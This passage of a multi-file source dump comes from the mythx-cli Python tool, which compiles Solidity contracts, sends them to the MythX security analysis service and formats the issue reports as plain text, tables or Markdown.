{}\".format(analysis.uuid))\n res.append(\"Submitted at: {}\".format(analysis.submitted_at))\n res.append(\"Status: {}\".format(analysis.status))\n res.append(\"\")\n\n return \"\\n\".join(res)\n\n @staticmethod\n def format_group_status(resp: GroupStatusResponse) -> str:\n \"\"\"Format a group status response to a simple text representation.\"\"\"\n\n res = [\n \"ID: {}\".format(resp.group.identifier),\n \"Name: {}\".format(resp.group.name or \"<unnamed>\"),\n \"Created on: {}\".format(resp.group.created_at),\n \"Status: {}\".format(resp.group.status),\n \"\",\n ]\n return \"\\n\".join(res)\n\n @staticmethod\n def format_group_list(resp: GroupListResponse) -> str:\n \"\"\"Format an analysis group response to a simple text\n representation.\"\"\"\n\n res = []\n for group in resp:\n res.append(\"ID: {}\".format(group.identifier))\n res.append(\"Name: {}\".format(group.name or \"<unnamed>\"))\n res.append(\"Created on: {}\".format(group.created_at))\n res.append(\"Status: {}\".format(group.status))\n res.append(\"\")\n\n return \"\\n\".join(res)\n\n @staticmethod\n def format_analysis_status(resp: AnalysisStatusResponse) -> str:\n \"\"\"Format an analysis status response to a simple text\n representation.\"\"\"\n\n res = [\n \"UUID: {}\".format(resp.uuid),\n \"Submitted at: {}\".format(resp.submitted_at),\n \"Status: {}\".format(resp.status),\n \"\",\n ]\n return \"\\n\".join(res)\n\n @staticmethod\n def format_detected_issues(\n issues_list: List[\n Tuple[DetectedIssuesResponse, Optional[AnalysisInputResponse]]\n ]\n ) -> str:\n \"\"\"Format an issue report to a simple text representation.\"\"\"\n\n # TODO: Sort by file\n for resp, inp in issues_list:\n res = []\n for report in resp.issue_reports:\n for issue in report.issues:\n res.append(generate_dashboard_link(resp.uuid))\n res.append(\n \"Title: {} ({})\".format(issue.swc_title or \"-\", issue.severity)\n )\n res.append(\"Description: {}\".format(issue.description_long.strip()))\n\n for loc in issue.locations:\n comp = loc.source_map.components[0]\n source_list = loc.source_list or report.source_list\n if source_list and 0 >= comp.file_id < len(source_list):\n filename = source_list[comp.file_id]\n if not inp.sources or filename not in inp.sources:\n # Skip files we don't have source for\n # (e.g. with unresolved bytecode hashes)\n res.append(\"\")\n continue\n line = get_source_location_by_offset(\n inp.sources[filename][\"source\"], comp.offset\n )\n snippet = inp.sources[filename][\"source\"].split(\"\\n\")[\n line - 1\n ]\n res.append(\"{}:{}\".format(filename, line))\n res.append(\"\\t\" + snippet.strip())\n\n res.append(\"\")\n\n return \"\\n\".join(res)\n\n @staticmethod\n def format_version(resp: VersionResponse) -> str:\n \"\"\"Format a version response to a simple text representation.\"\"\"\n\n return \"\\n\".join(\n [\n \"API: {}\".format(resp.api_version),\n \"Harvey: {}\".format(resp.harvey_version),\n \"Maru: {}\".format(resp.maru_version),\n \"Mythril: {}\".format(resp.mythril_version),\n \"Hashed: {}\".format(resp.hashed_version),\n ]\n )\n" }, { "alpha_fraction": 0.6086097955703735, "alphanum_fraction": 0.6092022061347961, "avg_line_length": 35.17142868041992, "blob_id": "f173bd672410377211edbf4c30171a56388c085b", "content_id": "43e4f941fd465068076423da5040a0e70b3abf7b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5064, "license_type": "permissive", "max_line_length": 86, "num_lines": 140, "path": "/mythx_cli/payload/solidity.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains functions to generate Solidity-related payloads.\"\"\"\n\nimport logging\nimport re\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Tuple\n\nimport click\nimport solcx\nimport solcx.exceptions\n\nfrom mythx_cli.payload.util import patch_solc_bytecode, set_srcmap_indices\n\nLOGGER = logging.getLogger(\"mythx-cli\")\nPRAGMA_PATTERN = r\"pragma solidity [\\^<>=]*(\\d+\\.\\d+\\.\\d+);\"\n\n\ndef generate_solidity_payload(\n file: str,\n version: Optional[str],\n contracts: List[str] = None,\n remappings: Tuple[str] = None,\n) -> Dict:\n \"\"\"Generate a MythX analysis request from a given Solidity file.\n\n This function will open the file, try to detect the used solc version from\n the pragma definition, and automatically compile it. If the given solc\n version is not installed on the client's system, it will be automatically\n downloaded.\n\n From the solc output, the following data is sent to the MythX API for\n analysis:\n\n * :code:`abi`\n * :code:`ast`\n * :code:`bin`\n * :code:`bin-runtime`\n * :code:`srcmap`\n * :code:`srcmap-runtime`\n\n :param file: The path pointing towards the Solidity file\n :param version: The solc version to use for compilation\n :param contracts: The contract name(s) to submit\n :param remappings: Import remappings to pass to solcx\n :return: The payload dictionary to be sent to MythX\n \"\"\"\n\n with open(file) as f:\n solc_version = re.findall(PRAGMA_PATTERN, f.read())\n LOGGER.debug(f\"solc version matches in {file}: {solc_version}\")\n\n if not (solc_version or version):\n # no pragma found, user needs to specify the version\n raise click.exceptions.UsageError(\n \"No pragma found - please specify a solc version with --solc-version\"\n )\n\n solc_version = f\"v{version or solc_version[0]}\"\n\n if solc_version not in solcx.get_installed_solc_versions():\n try:\n LOGGER.debug(f\"Installing solc {solc_version}\")\n solcx.install_solc(solc_version)\n except Exception as e:\n raise click.exceptions.UsageError(\n f\"Error installing solc version {solc_version}: {e}\"\n )\n\n solcx.set_solc_version(solc_version, silent=True)\n try:\n cwd = str(Path.cwd().absolute())\n LOGGER.debug(f\"Compiling {file} under allowed path {cwd}\")\n result = solcx.compile_files(\n [file],\n output_values=(\n \"abi\",\n \"ast\",\n \"bin\",\n \"bin-runtime\",\n \"srcmap\",\n \"srcmap-runtime\",\n ),\n import_remappings=[r.format(pwd=cwd) for r in remappings]\n or [\n f\"openzeppelin-solidity/={cwd}/node_modules/openzeppelin-solidity/\",\n f\"openzeppelin-zos/={cwd}/node_modules/openzeppelin-zos/\",\n f\"zos-lib/={cwd}/node_modules/zos-lib/\",\n ],\n allow_paths=cwd,\n )\n except solcx.exceptions.SolcError as e:\n raise click.exceptions.UsageError(\n f\"Error compiling source with solc {solc_version}: {e}\"\n )\n\n # sanitize solcx keys\n new_result = {}\n for key, value in result.items():\n new_key = key.split(\":\")[1]\n LOGGER.debug(f\"Sanitizing solc key {key} -> {new_key}\")\n new_result[new_key] = value\n result = new_result\n\n payload = {\"sources\": {}, \"solc_version\": solc_version, \"source_list\": []}\n\n bytecode_max = 0\n for index, (contract_name, contract_data) in enumerate(result.items()):\n ast = contract_data[\"ast\"]\n source_path = str(Path(ast.get(\"attributes\", {}).get(\"absolutePath\")))\n creation_bytecode = contract_data[\"bin\"]\n deployed_bytecode = contract_data[\"bin-runtime\"]\n source_map = contract_data[\"srcmap\"]\n deployed_source_map = contract_data[\"srcmap-runtime\"]\n with open(source_path) as source_f:\n source = source_f.read()\n LOGGER.debug(f\"Loaded contract source with {len(source)} characters\")\n\n # always add source and AST, even if dependency\n payload[\"sources\"][source_path] = {\"source\": source, \"ast\": ast}\n payload[\"source_list\"].append(source_path)\n if (contracts and contract_name not in contracts) or (\n not contracts and len(creation_bytecode) < bytecode_max\n ):\n LOGGER.debug(f\"Found dependency contract {contract_name} - continung\")\n continue\n\n bytecode_max = len(creation_bytecode)\n LOGGER.debug(f\"Updaing main payload for {contract_name}\")\n payload.update(\n {\n \"contract_name\": contract_name,\n \"main_source\": source_path,\n \"bytecode\": patch_solc_bytecode(creation_bytecode),\n \"source_map\": set_srcmap_indices(source_map, index),\n \"deployed_source_map\": set_srcmap_indices(deployed_source_map, index),\n \"deployed_bytecode\": patch_solc_bytecode(deployed_bytecode),\n }\n )\n\n return payload\n" }, { "alpha_fraction": 0.71875, "alphanum_fraction": 0.7211538553237915, "avg_line_length": 28.714284896850586, "blob_id": "dd4dc392cf6b99a150c5bd851a8732717a329ded", "content_id": "22b529f49b7f5c2203a203c71d25873c4b191360", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "permissive", "max_line_length": 77, "num_lines": 14, "path": "/mythx_cli/payload/bytecode.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains functions to generate bytecode-only analysis request\npayloads.\"\"\"\n\nfrom typing import Dict\n\n\ndef generate_bytecode_payload(code: str) -> Dict[str, str]:\n \"\"\"Generate a payload containing only the creation bytecode.\n\n :param code: The creation bytecode as hex string starting with :code:`0x`\n :return: The payload dictionary to be sent to MythX\n \"\"\"\n\n return {\"bytecode\": code}\n" }, { "alpha_fraction": 0.49152541160583496, "alphanum_fraction": 0.493748277425766, "avg_line_length": 37.90810775756836, "blob_id": "7bb29ee650b40c80eed1380d75a7830aac1f7112", "content_id": "9788d41f32561053bfbea53bc31c592234313f26", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7198, "license_type": "permissive", "max_line_length": 90, "num_lines": 185, "path": "/mythx_cli/formatter/tabular.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains a tabular data formatter class printing a subset of the\nresponse data.\"\"\"\n\nfrom collections import defaultdict\nfrom itertools import zip_longest\nfrom os.path import basename\nfrom typing import List, Optional, Tuple\n\nfrom mythx_models.response import (\n AnalysisInputResponse,\n AnalysisListResponse,\n AnalysisStatusResponse,\n DetectedIssuesResponse,\n GroupListResponse,\n GroupStatusResponse,\n VersionResponse,\n)\nfrom tabulate import tabulate\n\nfrom .base import BaseFormatter\nfrom .util import generate_dashboard_link, get_source_location_by_offset\n\n\nclass TabularFormatter(BaseFormatter):\n \"\"\"The tabular formatter.\n\n This formatter displays an ASCII table. It is enabled by default and\n requires the analysis input data to display each issue's line number\n in the source file. It might break on very large field sizes as\n cell-internal line breaks are not supported by the tabulate library\n yet.\n \"\"\"\n\n report_requires_input = True\n\n @staticmethod\n def format_analysis_list(resp: AnalysisListResponse) -> str:\n \"\"\"Format an analysis list response to a tabular representation.\"\"\"\n\n data = [\n (a.uuid, a.status, a.client_tool_name, a.submitted_at)\n for a in resp.analyses\n ]\n return tabulate(data, tablefmt=\"fancy_grid\")\n\n @staticmethod\n def format_group_list(resp: GroupListResponse) -> str:\n \"\"\"Format an analysis group response to a tabular representation.\"\"\"\n\n data = [\n (\n group.identifier,\n group.status,\n \",\".join([basename(x) for x in group.main_source_files]),\n group.created_at.strftime(\"%Y-%m-%d %H:%M:%S%z\"),\n )\n for group in resp.groups\n ]\n return tabulate(data, tablefmt=\"fancy_grid\")\n\n @staticmethod\n def format_group_status(resp: GroupStatusResponse) -> str:\n \"\"\"Format a group status response to a tabular representation.\"\"\"\n\n data = (\n (\n (\"ID\", resp.group.identifier),\n (\"Name\", resp.group.name or \"<unnamed>\"),\n (\n \"Creation Date\",\n resp.group.created_at.strftime(\"%Y-%m-%d %H:%M:%S%z\"),\n ),\n (\"Created By\", resp.group.created_by),\n (\"Progress\", \"{}/100\".format(resp.group.progress)),\n )\n + tuple(\n zip_longest(\n (\"Main Sources\",), resp.group.main_source_files, fillvalue=\"\"\n )\n )\n + (\n (\"Status\", resp.group.status.title()),\n (\"Queued Analyses\", resp.group.analysis_statistics.queued or 0),\n (\"Running Analyses\", resp.group.analysis_statistics.running or 0),\n (\"Failed Analyses\", resp.group.analysis_statistics.failed or 0),\n (\"Finished Analyses\", resp.group.analysis_statistics.finished or 0),\n (\"Total Analyses\", resp.group.analysis_statistics.total or 0),\n (\n \"High Severity Vulnerabilities\",\n resp.group.vulnerability_statistics.high or 0,\n ),\n (\n \"Medium Severity Vulnerabilities\",\n resp.group.vulnerability_statistics.medium or 0,\n ),\n (\n \"Low Severity Vulnerabilities\",\n resp.group.vulnerability_statistics.low or 0,\n ),\n (\n \"Unknown Severity Vulnerabilities\",\n resp.group.vulnerability_statistics.none or 0,\n ),\n )\n )\n return tabulate(data, tablefmt=\"fancy_grid\")\n\n @staticmethod\n def format_analysis_status(resp: AnalysisStatusResponse) -> str:\n \"\"\"Format an analysis status response to a tabular representation.\"\"\"\n\n data = ((k, v) for k, v in resp.analysis.to_dict().items())\n return tabulate(data, tablefmt=\"fancy_grid\")\n\n @staticmethod\n def format_detected_issues(\n issues_list: List[\n Tuple[DetectedIssuesResponse, Optional[AnalysisInputResponse]]\n ]\n ) -> str:\n \"\"\"Format an issue report to a tabular representation.\"\"\"\n\n res = []\n for resp, inp in issues_list:\n file_to_issue = defaultdict(list)\n for report in resp.issue_reports:\n for issue in report.issues:\n if (\n issue.swc_id == \"\"\n and issue.swc_title == \"\"\n and not issue.locations\n ):\n res.extend((issue.description_long, \"\"))\n source_formats = [loc.source_format for loc in issue.locations]\n for loc in issue.locations:\n if loc.source_format != \"text\" and \"text\" in source_formats:\n continue\n for c in loc.source_map.components:\n # This is so nested, a barn swallow might be hidden somewhere.\n source_list = loc.source_list or report.source_list\n if not (source_list and 0 <= c.file_id < len(source_list)):\n continue\n filename = source_list[c.file_id]\n if not inp.sources or filename not in inp.sources:\n line = \"bytecode offset {}\".format(c.offset)\n else:\n line = get_source_location_by_offset(\n inp.sources[filename][\"source\"], c.offset\n )\n file_to_issue[filename].append(\n (\n resp.uuid,\n line,\n issue.swc_title,\n issue.severity,\n issue.description_short,\n )\n )\n\n for filename, data in file_to_issue.items():\n res.append(\"Report for {}\".format(filename))\n res.extend(\n (\n generate_dashboard_link(data[0][0]),\n tabulate(\n [d[1:] for d in data],\n tablefmt=\"fancy_grid\",\n headers=(\n \"Line\",\n \"SWC Title\",\n \"Severity\",\n \"Short Description\",\n ),\n ),\n )\n )\n\n return \"\\n\".join(res)\n\n @staticmethod\n def format_version(resp: VersionResponse) -> str:\n \"\"\"Format a version response to a tabular representation.\"\"\"\n\n data = ((k.title(), v) for k, v in resp.to_dict().items())\n return tabulate(data, tablefmt=\"fancy_grid\")\n" }, { "alpha_fraction": 0.6188235282897949, "alphanum_fraction": 0.6188235282897949, "avg_line_length": 25.5625, "blob_id": "69ee8c1a0d7a22c2079ce0b21df8cbd0f1957a91", "content_id": "8b0623fd22f5368b3cf8f39f78879c3ee9014e57", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 425, "license_type": "permissive", "max_line_length": 46, "num_lines": 16, "path": "/mythx_cli/render/templates/layout.md", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "{% block heading scoped %}{% endblock %}\n{% block preamble scoped %}{% endblock %}\n{% for status, report, input in issues_list %}\n{% block header scoped %}{% endblock %}\n{% if report %}\n{% block status scoped %}{% endblock %}\n{% block report scoped %}{% endblock %}\n{% else %}\n{% block no_issues_name scoped %}\n*No issues have been found.*\n\n{% endblock %}\n{% endif %}\n\n{% endfor %}\n{% block postamble scoped %}{% endblock %}\n" }, { "alpha_fraction": 0.6620134711265564, "alphanum_fraction": 0.6624866724014282, "avg_line_length": 38.5, "blob_id": "c259d106316ebcc5eebf979bf776cf1991ec0da5", "content_id": "a7b62b8e7b4ffeb8b074b99c249937365051acdb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8453, "license_type": "permissive", "max_line_length": 91, "num_lines": 214, "path": "/mythx_cli/analyze/util.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "import logging\nimport sys\nfrom glob import glob\nfrom os.path import abspath, commonpath\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Tuple, Union\n\nimport click\n\nfrom mythx_cli.payload import generate_solidity_payload\n\nRGLOB_BLACKLIST = [\"node_modules\"]\nLOGGER = logging.getLogger(\"mythx-cli\")\n\n\ndef sanitize_paths(job: Dict) -> Dict:\n \"\"\"Remove the common prefix from paths.\n\n This method takes a job payload, iterates through all paths, and\n removes all their common prefixes. This is an effort to only submit\n information on a need-to-know basis to MythX. Unless it's to distinguish\n between files, the API does not need to know the absolute path of a file.\n This may even leak user information and should be removed.\n\n If a common prefix cannot be found (e.g. if there is just one element in\n the source list), the relative path from the current working directory\n will be returned.\n\n This concerns the following fields:\n - sources\n - AST absolute path\n - legacy AST absolute path\n - source list\n - main source\n\n :param job: The payload to sanitize\n :return: The sanitized job\n \"\"\"\n\n source_list = job.get(\"source_list\")\n if not source_list:\n # triggers on None and empty list\n # if no source list is given, we are analyzing bytecode only\n LOGGER.debug(\"Job does not contain source list - skipping sanitization\")\n return job\n\n LOGGER.debug(\"Converting source list items to absolute paths for trimming\")\n source_list = [abspath(s) for s in source_list]\n if len(source_list) > 1:\n # get common path prefix and remove it\n LOGGER.debug(\"More than one source list item detected - trimming common prefix\")\n prefix = commonpath(source_list) + \"/\"\n else:\n # fallback: replace with CWD and get common prefix\n LOGGER.debug(\"One source list item detected - trimming by CWD prefix\")\n prefix = commonpath(source_list + [str(Path.cwd())]) + \"/\"\n\n LOGGER.debug(f\"Trimming source list: {', '.join(source_list)}\")\n sanitized_source_list = [s.replace(prefix, \"\") for s in source_list]\n job[\"source_list\"] = sanitized_source_list\n LOGGER.debug(f\"Trimmed source list: {', '.join(sanitized_source_list)}\")\n if job.get(\"main_source\") is not None:\n LOGGER.debug(f\"Trimming main source path {job['main_source']}\")\n job[\"main_source\"] = job[\"main_source\"].replace(prefix, \"\")\n LOGGER.debug(f\"Trimmed main source path {job['main_source']}\")\n for name in list(job.get(\"sources\", {})):\n data = job[\"sources\"].pop(name)\n # sanitize AST data in compiler output\n for ast_key in (\"ast\", \"legacyAST\"):\n LOGGER.debug(f\"Sanitizing AST key '{ast_key}'\")\n if not (data.get(ast_key) and data[ast_key].get(\"absolutePath\")):\n LOGGER.debug(\n f\"Skipping sanitization: {ast_key} -> absolutePath not defined\"\n )\n continue\n sanitized_absolute = data[ast_key][\"absolutePath\"].replace(prefix, \"\")\n LOGGER.debug(\n f\"Setting sanitized {ast_key} -> absolutePath to {sanitized_absolute}\"\n )\n data[ast_key][\"absolutePath\"] = sanitized_absolute\n\n # replace source key names\n sanitized_source_name = name.replace(prefix, \"\")\n LOGGER.debug(f\"Setting sanitized source name {sanitized_source_name}\")\n job[\"sources\"][sanitized_source_name] = data\n\n return job\n\n\ndef is_valid_job(job) -> bool:\n \"\"\"Detect interface contracts.\n\n This utility function is used to detect interface contracts in solc and Truffle\n artifacts. This is done by checking whether any bytecode or source maps are to be\n found in the speficied job. This check is performed after the payload has been\n assembled to cover Truffle and Solidity analysis jobs.\n\n :param job: The payload to perform the check on\n :return: True if the submitted job is for an interface, False otherwise\n \"\"\"\n\n filter_values = (\"\", \"0x\", None)\n valid = True\n if len(job.keys()) == 1 and job.get(\"bytecode\") not in filter_values:\n LOGGER.debug(\"Skipping validation for bytecode-only analysis\")\n elif job.get(\"bytecode\") in filter_values:\n LOGGER.debug(f\"Invalid job because bytecode is {job.get('bytecode')}\")\n valid = False\n elif job.get(\"source_map\") in filter_values:\n LOGGER.debug(f\"Invalid job because source map is {job.get('source_map')}\")\n valid = False\n elif job.get(\"deployed_source_map\") in filter_values:\n LOGGER.debug(\n f\"Invalid job because deployed source map is {job.get('deployed_source_map')}\"\n )\n valid = False\n elif job.get(\"deployed_bytecode\") in filter_values:\n LOGGER.debug(\n f\"Invalid job because deployed bytecode is {job.get('deployed_bytecode')}\"\n )\n valid = False\n elif not job.get(\"contract_name\"):\n LOGGER.debug(f\"Invalid job because contract name is {job.get('contract_name')}\")\n valid = False\n\n if not valid:\n # notify user\n click.echo(\n \"Skipping submission for contract {} because no bytecode was produced.\".format(\n job.get(\"contract_name\")\n )\n )\n\n return valid\n\n\ndef find_truffle_artifacts(project_dir: Union[str, Path]) -> Optional[List[str]]:\n \"\"\"Look for a Truffle build folder and return all relevant JSON artifacts.\n\n This function will skip the Migrations.json file and return all other files\n under :code:`<project-dir>/build/contracts/`. If no files were found,\n :code:`None` is returned.\n\n :param project_dir: The base directory of the Truffle project\n :return: Files under :code:`<project-dir>/build/contracts/` or :code:`None`\n \"\"\"\n\n output_pattern = Path(project_dir) / \"build\" / \"contracts\" / \"*.json\"\n artifact_files = list(glob(str(output_pattern.absolute())))\n if not artifact_files:\n LOGGER.debug(f\"No truffle artifacts found in pattern {output_pattern}\")\n return None\n\n LOGGER.debug(\"Returning results without Migrations.json\")\n return [f for f in artifact_files if not f.endswith(\"Migrations.json\")]\n\n\ndef find_solidity_files(project_dir: str) -> Optional[List[str]]:\n \"\"\"Return all Solidity files in the given directory.\n\n This will match all files with the `.sol` extension.\n\n :param project_dir: The directory to search in\n :return: Solidity files in `project_dir` or `None`\n \"\"\"\n\n output_pattern = Path(project_dir)\n artifact_files = [str(x) for x in output_pattern.rglob(\"*.sol\")]\n if not artifact_files:\n LOGGER.debug(f\"No truffle artifacts found in pattern {output_pattern}\")\n return None\n\n LOGGER.debug(f\"Filtering results by rglob blacklist {RGLOB_BLACKLIST}\")\n return [af for af in artifact_files if all((b not in af for b in RGLOB_BLACKLIST))]\n\n\ndef walk_solidity_files(\n ctx,\n solc_version: str,\n base_path: Optional[str] = None,\n remappings: Tuple[str] = None,\n) -> List[Dict]:\n \"\"\"Aggregate all Solidity files in the given base path.\n\n Given a base path, this function will recursively walk through the filesystem\n and aggregate all Solidity files it comes across. The resulting job list will\n contain all the Solidity payloads (optionally compiled), ready for submission.\n\n :param ctx: :param ctx: Click context holding group-level parameters\n :param solc_version: The solc version to use for Solidity compilation\n :param base_path: The base path to walk through from\n :param remappings: Import remappings to pass to solcx\n :return:\n \"\"\"\n\n jobs = []\n remappings = remappings or []\n LOGGER.debug(f\"Received {len(remappings)} import remappings\")\n walk_path = Path(base_path) if base_path else Path.cwd()\n LOGGER.debug(f\"Walking for sol files under {walk_path}\")\n files = find_solidity_files(walk_path)\n consent = ctx[\"yes\"] or click.confirm(\n \"Found {} Solidity file(s) before filtering. Continue?\".format(len(files))\n )\n if not consent:\n LOGGER.debug(\"User consent not given - exiting\")\n sys.exit(0)\n LOGGER.debug(f\"Found Solidity files to submit: {', '.join(files)}\")\n for file in files:\n LOGGER.debug(f\"Generating Solidity payload for {file}\")\n jobs.append(\n generate_solidity_payload(file, solc_version, remappings=remappings)\n )\n return jobs\n" }, { "alpha_fraction": 0.6662770509719849, "alphanum_fraction": 0.6750438213348389, "avg_line_length": 37.022220611572266, "blob_id": "becbe1ebd857896cab21414e469a68a19f468da6", "content_id": "62013879fffaa4b11457956de46ad1f1eb9ae381", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1711, "license_type": "permissive", "max_line_length": 100, "num_lines": 45, "path": "/mythx_cli/payload/util.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "import re\nfrom copy import copy\n\n\ndef set_srcmap_indices(src_map: str, index: int = 0) -> str:\n \"\"\"Zero the source map file index entries.\n\n :param src_map: The source map string to process\n :return: The processed source map string\n \"\"\"\n entries = src_map.split(\";\")\n new_entries = copy(entries)\n for i, entry in enumerate(entries):\n fields = entry.split(\":\")\n if len(fields) > 2 and fields[2] not in (\"-1\", \"\"):\n # file index is in entry, needs fixing\n fields[2] = str(index)\n new_entries[i] = \":\".join(fields)\n return \";\".join(new_entries)\n\n\ndef patch_solc_bytecode(code: str) -> str:\n \"\"\"Patch solc bytecode placeholders.\n\n This function patches placeholders in solc output. These placeholders are meant\n to be replaced with deployed library/dependency addresses on deployment, but do not form\n valid EVM bytecode. To produce a valid payload, placeholders are replaced with the zero-address.\n\n :param code: The bytecode to patch\n :return: The patched bytecode with the zero-address filled in\n \"\"\"\n return re.sub(re.compile(r\"__\\$.{34}\\$__\"), \"0\" * 40, code)\n\n\ndef patch_truffle_bytecode(code: str) -> str:\n \"\"\"Patch Truffle bytecode placeholders.\n\n This function patches placeholders in Truffle artifact files. These placeholders are meant\n to be replaced with deployed library/dependency addresses on deployment, but do not form\n valid EVM bytecode. To produce a valid payload, placeholders are replaced with the zero-address.\n\n :param code: The bytecode to patch\n :return: The patched bytecode with the zero-address filled in\n \"\"\"\n return re.sub(re.compile(r\"__\\w{38}\"), \"0\" * 40, code)\n" }, { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 24.909090042114258, "blob_id": "414860969f83afb7890aacda8f5962a8cf1f7a0b", "content_id": "815be7a3cc3b9e05da4fdb817bb117362483e59a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 570, "license_type": "permissive", "max_line_length": 71, "num_lines": 22, "path": "/mythx_cli/formatter/__init__.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains various formatters for printing report data.\"\"\"\n\nfrom .json import JSONFormatter, PrettyJSONFormatter\nfrom .simple_stdout import SimpleFormatter\nfrom .sonarqube import SonarQubeFormatter\nfrom .tabular import TabularFormatter\n\nFORMAT_RESOLVER = {\n \"simple\": SimpleFormatter(),\n \"json\": JSONFormatter(),\n \"json-pretty\": PrettyJSONFormatter(),\n \"table\": TabularFormatter(),\n \"sonar\": SonarQubeFormatter(),\n}\n\n__all__ = [\n JSONFormatter,\n PrettyJSONFormatter,\n SimpleFormatter,\n TabularFormatter,\n SonarQubeFormatter,\n]\n" }, { "alpha_fraction": 0.6119967103004456, "alphanum_fraction": 0.6124573945999146, "avg_line_length": 34.93708419799805, "blob_id": "37d91abcf020c7a16e66d254d4bb6acee12f26b2", "content_id": "5d705ffe0fc64544d032627c658e99bdaab58380", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10853, "license_type": "permissive", "max_line_length": 108, "num_lines": 302, "path": "/mythx_cli/analyze/command.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "import logging\nimport sys\nimport time\nfrom glob import glob\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport click\nfrom mythx_models.response import (\n AnalysisInputResponse,\n DetectedIssuesResponse,\n GroupCreationResponse,\n)\nfrom pythx.middleware.group_data import GroupDataMiddleware\n\nfrom mythx_cli.analyze.util import (\n find_truffle_artifacts,\n is_valid_job,\n sanitize_paths,\n walk_solidity_files,\n)\nfrom mythx_cli.formatter import FORMAT_RESOLVER, util\nfrom mythx_cli.formatter.base import BaseFormatter\nfrom mythx_cli.payload import (\n generate_bytecode_payload,\n generate_solidity_payload,\n generate_truffle_payload,\n)\nfrom mythx_cli.util import write_or_print\n\nLOGGER = logging.getLogger(\"mythx-cli\")\n\n\[email protected]()\[email protected](\"target\", default=None, nargs=-1, required=False)\[email protected](\n \"--async/--wait\", # TODO: make default on full\n \"async_flag\",\n help=\"Submit the job and print the UUID, or wait for execution to finish\",\n)\[email protected](\n \"--mode\",\n type=click.Choice([\"quick\", \"standard\", \"deep\"]),\n default=\"quick\",\n show_default=True,\n)\[email protected](\n \"--create-group\",\n is_flag=True,\n default=False,\n help=\"Create a new group for the analysis\",\n)\[email protected](\n \"--group-id\",\n type=click.STRING,\n help=\"The group ID to add the analysis to\",\n default=None,\n)\[email protected](\n \"--group-name\",\n type=click.STRING,\n help=\"The group name to attach to the analysis\",\n default=None,\n)\[email protected](\n \"--min-severity\",\n type=click.STRING,\n help=\"Ignore SWC IDs below the designated level\",\n default=None,\n)\[email protected](\n \"--swc-blacklist\",\n type=click.STRING,\n help=\"A comma-separated list of SWC IDs to ignore\",\n default=None,\n)\[email protected](\n \"--swc-whitelist\",\n type=click.STRING,\n help=\"A comma-separated list of SWC IDs to include\",\n default=None,\n)\[email protected](\n \"--solc-version\",\n type=click.STRING,\n help=\"The solc version to use for compilation\",\n default=None,\n)\[email protected](\n \"--include\",\n type=click.STRING,\n multiple=True,\n help=\"The contract name(s) to submit to MythX\",\n default=None,\n)\[email protected](\n \"--remap-import\",\n type=click.STRING,\n multiple=True,\n help=\"Add a solc compilation import remapping\",\n default=None,\n)\[email protected]_obj\ndef analyze(\n ctx,\n target: List[str],\n async_flag: bool,\n mode: str,\n create_group: bool,\n group_id: str,\n group_name: str,\n min_severity: str,\n swc_blacklist: str,\n swc_whitelist: str,\n solc_version: str,\n include: Tuple[str],\n remap_import: Tuple[str],\n) -> None:\n \"\"\"Analyze the given directory or arguments with MythX.\n\n \\f\n\n :param ctx: Click context holding group-level parameters\n :param target: Arguments passed to the `analyze` subcommand\n :param async_flag: Whether to execute the analysis asynchronously\n :param mode: Full or quick analysis mode\n :param create_group: Create a new group for the analysis\n :param group_id: The group ID to add the analysis to\n :param group_name: The group name to attach to the analysis\n :param min_severity: Ignore SWC IDs below the designated level\n :param swc_blacklist: A comma-separated list of SWC IDs to ignore\n :param swc_whitelist: A comma-separated list of SWC IDs to include\n :param solc_version: The solc version to use for Solidity compilation\n :param include: List of contract names to send - exclude everything else\n :param remap_import: List of import remappings to pass on to solc\n :return:\n \"\"\"\n\n analyze_config = ctx.get(\"analyze\")\n if analyze_config is not None:\n LOGGER.debug(\"Detected additional yaml config keys - applying\")\n config_async = analyze_config.get(\"async\")\n async_flag = config_async if config_async is not None else async_flag\n mode = analyze_config.get(\"mode\") or mode\n config_create_group = analyze_config.get(\"create-group\")\n create_group = (\n config_create_group if config_create_group is not None else create_group\n )\n group_id = analyze_config.get(\"group-id\") or group_id\n group_name = analyze_config.get(\"group-name\") or group_name\n min_severity = analyze_config.get(\"min-severity\") or min_severity\n swc_blacklist = analyze_config.get(\"blacklist\") or swc_blacklist\n swc_whitelist = analyze_config.get(\"whitelist\") or swc_whitelist\n solc_version = analyze_config.get(\"solc\") or solc_version\n include = analyze_config.get(\"contracts\") or include\n remap_import = analyze_config.get(\"remappings\") or remap_import\n target = analyze_config.get(\"targets\") or target\n\n group_name = group_name or \"\"\n if create_group:\n resp: GroupCreationResponse = ctx[\"client\"].create_group(group_name=group_name)\n group_id = resp.group.identifier\n group_name = resp.group.name or \"\"\n\n if group_id:\n # associate all following analyses to the passed or newly created group\n group_mw = GroupDataMiddleware(group_id=group_id, group_name=group_name)\n 